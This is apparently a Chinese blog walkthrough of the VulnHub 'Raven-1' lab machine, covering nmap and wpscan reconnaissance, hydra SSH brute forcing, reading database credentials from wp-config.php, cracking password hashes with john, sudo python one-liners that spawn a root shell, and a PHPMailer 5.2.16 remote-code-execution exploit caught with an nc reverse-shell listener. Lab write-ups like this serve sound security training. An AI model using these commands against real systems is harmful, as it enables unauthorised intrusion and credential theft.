当前位置:网站首页>[Vulnhub] Raven-1
[Vulnhub] Raven-1
2022-07-16 02:21:00 【葫芦娃42】
目录
下载链接:Raven: 1 ~ VulnHub
描述
Raven 是一个初级/中级 boot2root 机器。 有四个flag可以找到和两种获取 root 的预期方式。 使用 VMware 构建并在 Virtual Box 上进行测试。 设置为使用 NAT 网络。
信息搜集
arp -scan -l 进行主机发现
靶机ip:192.168.236.139
nmap -A 192.168.236.139 扫描一下靶机开放的端口及服务

访问一下80端口,在services那个板块 源码里发现了flag1

wpscan 扫描网站wordpress用户
dirb 扫描后台发现存在 /wordpress
wpscan --url http://192.168.236.139/wordpress --wp-content-dir -ep -et -eu
得知用户有 michael 和 steven
尝试用该用户名进行SSH服务爆破
hydra 使用rockyou.txt字典 爆破ssh密码。得到用户 michael:michael steven爆不出来

尝试ssh远程登录michael 登陆成功
find / -name *flag*.txt 发现了flag2 在 /var/www/html/flag2.txt

sudo -l 查看权限,发现不能
在/home里发现了 steven用户

在 /wordpress里发现wp-config.php 得到了mql数据库的账户密码
可以 cat wp-config.php | egrep 'DB_USER|DB_PASSWORD'
root:[email protected]

查看开放端口,开发3306 但是mysql 只允许本地登录。

mysql获取wp_users信息
登录mysql试试

在 databases 里的wordpress,wp_users表里 得到了用户及哈希密码值

把其放入 sshkey文件里 john解密得到密码为pink84
ssh远程登录steven用户

sudo -l 发现具有python的sudo权限。
注: 在wordpress表里。select * from wp_posts;
得到了flag3和flag4。

sudo python提权
尝试使用sudo Python提权。
sudo python -c 'import pty; pty.spawn("/bin/sh")'
sudo python -c 'import os; os.system("/bin/sh")'
之后whoami查看,发现是root权限 进入。root得到flag4

补充:PHPMailer远程代码执行getshell
除了上面我们爆破出 steven用户的密码拿shell,也可以利用PHPMailer 版本漏洞拿shell
dirb我们扫描目录是,扫描出来了 /vendor 目录,进去之后发现了

PATH 得到路径为: /var/www/html/vendor/
VERSION: 5.2.16 应该是PHPMailer的版本
利用searchsploit PHPMailer查看是否有漏洞,发现有漏洞利用脚本:

searchsploit -m 40974.py
下载脚本文件 使用vim 命令进行修改

根据各位置进行相应的修改 (注:靶机target应该为:http://ip/contact.php 而http://ip不行)
python 40974.py 运行

在kali里另起一个终端,nc开启监听
nc -lvvp 4444

访问shell.php 拿到shell。之后就和上面一样,wp-config.php发现mysql信息登录。
边栏推荐
- You can't answer these 20 classic redis interview questions yet, and the interviewer doesn't even look at you
- ["plaything determination" scratch children programming] tank turbulence - "implementation of" through wall control "and" bullet rebound "- including complete code
- [wechat applet] slide effect realization
- openEuler 知:repo
- The official website of the Chinese version of "selected examples of open agile architecture case study" was officially launched, and a wonderful preview!
- Openeuler knowledge: sig
- Sorting of two fields in redis
- [pyGame game] no admittance for disabled hands. The latest sadistic game "stitching" - a game you have to play.
- 自动推理的逻辑01
- [noun] LTS
猜你喜欢

三個步驟,一天就搞定了MySQL,讓我順利拿下了天猫offer

MYSQL一站式学习,看完即学完

【“玩物立志”scratch少儿编程】坦克动荡-“穿墙控制”和“子弹反弹”的实现-含完整代码

ThreadLocal killed 11 people. I can't bear it

小程序容器技术在Hybrid 混合App开发中的价值

Redis数据结构实战演练,看看微博、微信、购物车、抽奖小程序是如何使用的?

从应用到底层:36张图带你进入Redis世界(下)
![Kettle [practice 01] under linux environment, Azkaban is used to call kettle's KJB or KTR script regularly to realize automatic data processing (complete process example sharing: cloud resources inclu](/img/7c/951c0fda0c1ba026564763c470374c.png)
Kettle [practice 01] under linux environment, Azkaban is used to call kettle's KJB or KTR script regularly to realize automatic data processing (complete process example sharing: cloud resources inclu
![[C language] structure, enumeration, union](/img/1d/1ed4a926d52c5e4f08dd50ef4db2fb.jpg)
[C language] structure, enumeration, union

c语言基础篇:指针(初阶)
随机推荐
Vue+mysql connects to the database to realize login and registration
openEuler 知:管理策略
Reverse learning notes (I)
C语言动态内存管理 —— 仅仅四个函数而已
Summarize the differences between i++ and i++
Write the shader in the later stage of posteffect
Redis data structure practice, see how microblogging, wechat, shopping cart, lottery applet is used?
面试高频:MySQL是怎么保证高可用的?
Map set to object, map field has horizontal lines, object to map
0x22, 0x2e services of UDS
UE4_ Ue5 play audio (play, stop function) (attached project)
Use of gin framework
c语言基础篇:指针(初阶)
自动推理的逻辑01
Redis 中两个字段排序
谷歌 | 图神经网络预训练帮助了分子表征吗
Openeuler knowledge: management strategy
Regular database backup Linux
pinctrl子系统和gpio子系统
【“玩物立志”scratch少儿编程】坦克动荡-“穿墙控制”和“子弹反弹”的实现-含完整代码